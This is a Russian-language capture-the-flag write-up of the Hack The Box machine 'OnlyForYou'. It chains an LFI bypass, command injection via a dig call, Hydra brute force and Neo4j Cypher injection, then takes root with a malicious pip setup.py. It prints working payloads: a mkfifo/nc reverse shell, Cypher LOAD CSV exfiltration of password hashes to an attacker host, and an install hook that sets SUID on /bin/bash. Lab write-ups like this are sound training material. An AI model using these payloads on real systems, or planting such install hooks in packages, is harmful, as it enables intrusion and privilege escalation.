Сложность: | Medium |
ОС: | Linux |
Баллы: | 35 |
IP: | 10.10.11.210 |
Теги: | Code Review, LFI, Python packages management, Cypher injection |
После первичной разведки веб-приложения мы обнаруживаем дополнительный поддомен с возможностью получить исходный код бэкенда. Далее, проанализировав исходный код обнаружена возможность удалённого чтения произвольных файлов целевой машины. В новой, дополненной части исходного кода сервиса была обнаружена возможность инъекции произвольных команд и был получен удалённый доступ www-data. Последующий анализ окружения и доступ к одному из веб-сервисов привёл к возможности инъекции запроса в СУБД Neo4j и раскрытию слабого хэша пароля пользовательской УЗ john на целевой машине, затем был получен флаг. После этого были обнаружены повышенные права на исполнение команды по установке пакетов с помощью pip3, подготовлена и загружена полезная нагрузка, что привело к успешному получению флага пользователя root.
Проведём первичное сканирование цели:
nmap -sS -p- 10.10.11.210
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Просканируем более подробно: nmap -sVC -O -p22,80 10.10.11.210
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e8:83:e0:a9:fd:43:df:38:19:8a:aa:35:43:84:11:ec (RSA)
| 256 83:f2:35:22:9b:03:86:0c:16:cf:b3:fa:9f:5a:cd:08 (ECDSA)
|_ 256 44:5f:7a:a3:77:69:0a:77:78:9b:04:e0:9f:11:db:80 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://only4you.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
Сразу же добавим домен в /etc/hosts
:
# HTB
10.10.11.210 only4you.htb
Далее, просмотрим основные разделы страницы на предмет полезной информации:
Потенциальные имена внутренних пользователей сервиса: Walter White, Sarah Jhonson, William Anderson, Amanda Jepson
Далее осуществим сканирование поддоменов доступных в сервисе на предмет полезного лута, для этого можем использовать любой другой сканер на ваше усмотрение:
ffuf -u http://only4you.htb/ -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "HOST:FUZZ.only4you.htb" -mc all -fw 6
Получаем следующий результат сканирования:
[Status: 200, Size: 2191, Words: 370, Lines: 52, Duration: 106ms]
* FUZZ: beta
Добавим также поддомен beta в файл hosts и проведём разведку его содержимого:
# HTB
10.10.11.210 only4you.htb beta.only4you.htb
Переходим к сервису beta.only4you.htb:
Повторим сканирование директорий доступных в этом сервисе на предмет уязвимого функционала:
gobuster dir -u http://beta.only4you.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -k
Получили следующий результат:
/download (Status: 405) [Size: 683]
/list (Status: 200) [Size: 5934]
/source (Status: 200) [Size: 12127]
/convert (Status: 200) [Size: 2760]
/resize (Status: 200) [Size: 2984]
При попытке доступа к исходным файлам получаем архив без пароля, содержащий следующие файлы:
Проанализировав исходный код каких-то из приложений (предположительно, это инструменты конвертации и изменения размера, которые мы встретили ранее в интерфейсе поддомена beta) выяснили, что в функции /download есть проверка на атаку LFI:
[...]
@app.route('/download', methods=['POST'])
def download():
image = request.form['image']
filename = posixpath.normpath(image)
if '..' in filename or filename.startswith('../'):
flash('Hacking detected!', 'danger')
return redirect('/list')
if not os.path.isabs(filename):
filename = os.path.join(app.config['LIST_FOLDER'], filename)
try:
if not os.path.isfile(filename):
flash('Image doesn\'t exist!', 'danger')
return redirect('/list')
[...]
Попробуем обойти защиту сформировав запрос следующим образом:
curl -i -s -k -X $'POST' \
-H $'Host: beta.only4you.htb' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/112.0' -H $'Content-Length: 17' \
--data-binary $'image=/etc/passwd' \
$'http://beta.only4you.htb/download'
Таким образом можем получить полный список сервисных и пользовательских учётных записей:
Отсюда можем выяснить, что на целевой машине следующие пользовательские учётные записи: neo4j, dev, john, root.
Помощью LFI также можем прочесть содержимое версий файлов app.py и tool.py, которые используются веб-приложении и находятся на целевой машине по следующим путям:
/var/www/only4you.htb/app.py
/var/www/only4you.htb/tool.py
Проанализировав содержимое этих файлов также мы обнаружили что для реализации функционала отправки сообщений в файле app.py используется form.py
Прочтём и его с помощью LFI. Наиболее важна для нас следующая часть кода: result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
Следуя бизнес логике — эта часть кода должна проверять существует ли введённый домен, но в такой реализации данной проверки возможна инъекция произвольной команды с помощью символа |
, поскольку не используются никакие меры по фильтрации спецсимволов или безопасного ввода.
Запрос с полезной нагрузкой будет выглядеть следующим образом:
POST / HTTP/1.1
Host: only4you.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
Origin: http://only4you.htb
name=test&email=test%40website.com+|+rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+your_IP+7331+>/tmp/f&subject=test&message=test
С помощью команды netstat
получаем список открытых портов. Ряд обнаруженных портов(3000, 7687 и 8001) могут быть нам интересны.
С помощью команды curl
обращаясь последовательно к указанным портам получим, что:
Далее, с помощью chisel
или стандартного функционала утилиты ssh
можем осуществить проброс портов (предварительно стоит открыть на своей машине порт 2222):
ssh -N -f -R 3000:localhost:3000 -R 8001:localhost:8001 root@yourIP -p 2222
При попытке доступа к сервису, находящемуся на 8001 мы встречаем панель авторизации. Попробуем провести атаку перебора паролей:
hydra -P /usr/share/seclists/Usernames
/top-usernames-shortlist.txt -P /usr/share/seclists/Passwords/Common-Credentials
/10k-most-common.txt -f -V -s 8001 localhost http-get
Получили результат: admin:admin
После успешной авторизации нас встречает следующий интерфейс:
Также, в сервисе доступен интерфейс поиска сотрудников:
Ранее, мы обнаружили, что в качестве СУБД используется Neo4j, это может нам помочь в дальнейших поисках вектора для получения пользователя целевой машины.
После поисков возможных инъекций в запросы используемой СУБД Neo4j обнаружим, что мы можем ввести следующий запрос в поле поиска для проверки возможности инъекций(для проверки успешности нужно также поднять http сервер на Python с помощью python3 -m http.server yourPort
):
Sarah'OR 1=1 WITH 1 as a CALL db.labels() yield label LOAD CSV FROM 'http://yourIP:freePort/?label='+label as l RETURN 0 as _0 //
Получаем следующий вывод:
Serving HTTP on 0.0.0.0 port yourPort (http://0.0.0.0:yourPort/)
[...] "GET /?label=user HTTP/1.1" 200 -
[...] "GET /?label=employee HTTP/1.1" 200 -
[...] "GET /?label=user HTTP/1.1" 200 -
[...] "GET /?label=employee HTTP/1.1" 200 -
[...] "GET /?label=user HTTP/1.1" 200 -
[...] "GET /?label=employee HTTP/1.1" 200 -
[...] "GET /?label=user HTTP/1.1" 200 -
[...] "GET /?label=employee HTTP/1.1" 200 -
[...] "GET /?label=user HTTP/1.1" 200 -
[...] "GET /?label=employee HTTP/1.1" 200 -
Инъекция отработала успешно, теперь осуществим вывод ключей посредством следующей инъекции (также предварительно запустив http сервер):
Sarah' MATCH (o:user) WHERE o.username =~ '.*' WITH collect(o.password) AS a LOAD CSV FROM 'http://yourIP:freePort/'+a[0] AS c RETURN c /
Получили следующий вывод:
Serving HTTP on 0.0.0.0 port yourPort (http://0.0.0.0:yourPort/)
[...] code 404, message File not found
[...] "GET /8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 404 -
[...] code 404, message File not found
[...] "GET /a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 404 -
Воспользовавшись сервисом CrackStation расшифровываем данные значений хэшей SHA256:
Проверим полученный пароль с пользователем john:ThisIs4You
Получили доступ к пользователю и его флагу!
На своей локальной машине проксируем удалённый порт целевой машины с помощью полученной УЗ пользователя john:
ssh john@10.10.11.210 -L 3000:127.0.0.1:3000 -N
Ищем исполнимые файлы с возможностью запуска с привилегиями пользователя root:
sudo -l
Исходя из вывода мы можем понять, что есть возможность запуска pip3
с правами пользователя root
с целью загрузки пакетов архивированных в формате .tar.gz
.
При поиске уязвимостей, связанных с установкой pip-пакетов был обнаружен следующий вектор атаки:
https://embracethered.com/blog/posts/2022/python-package-manager-install-and-download-vulnerability/
Установим необходимый проект с GitHub и сформируем полезную нагрузку согласно инструкции в статье:
Создадим файл setup.py
с полезной нагрузкой для повышения привилегий:
from setuptools import setup, find_packages
from setuptools.command.install import install
from setuptools.command.egg_info import egg_info
import os
def RunCommand():
os.system("chmod u+s /bin/bash")
class RunEggInfoCommand(egg_info):
def run(self):
RunCommand()
egg_info.run(self)
class RunInstallCommand(install):
def run(self):
RunCommand()
install.run(self)
setup(
name = "this_is_fine_wuzzi",
version = "0.0.1",
license = "MIT",
packages=find_packages(),
cmdclass={
'install' : RunInstallCommand,
'egg_info': RunEggInfoCommand
},
)
С помощью следующей команды создадим необходимый для загрузки архив: python3 setup.py sdist bdist_wheel
В поддиректории ../dist/pwnpack-0.0.1.tar.gz
будет находиться наша полезная нагрузка.
Далее, исследуем сервис, который мы ранее проксировали на локальный порт 3000:
Это сервис по контролю версий, развёрнутый на целевой машине. Если попытаться авторизоваться с теми же данными УЗ, с которыми мы подключились по протоколу SSH — то мы сможем попасть внутрь сервиса и создать новый проект. Этот проект должен состоять из файлов README.md и самой полезной нагрузки, которая была сформирована ранее:
Теперь попытаемся исполнить команду, полученную с помощью sudo -l
:
Эксплоит успешно отработал, мы смогли повысить права пользователя и получить флаг пользователя root!
https://book.hacktricks.xyz/pentesting-web/sql-injection/cypher-injection-neo4j
https://book.hacktricks.xyz/pentesting-web/command-injection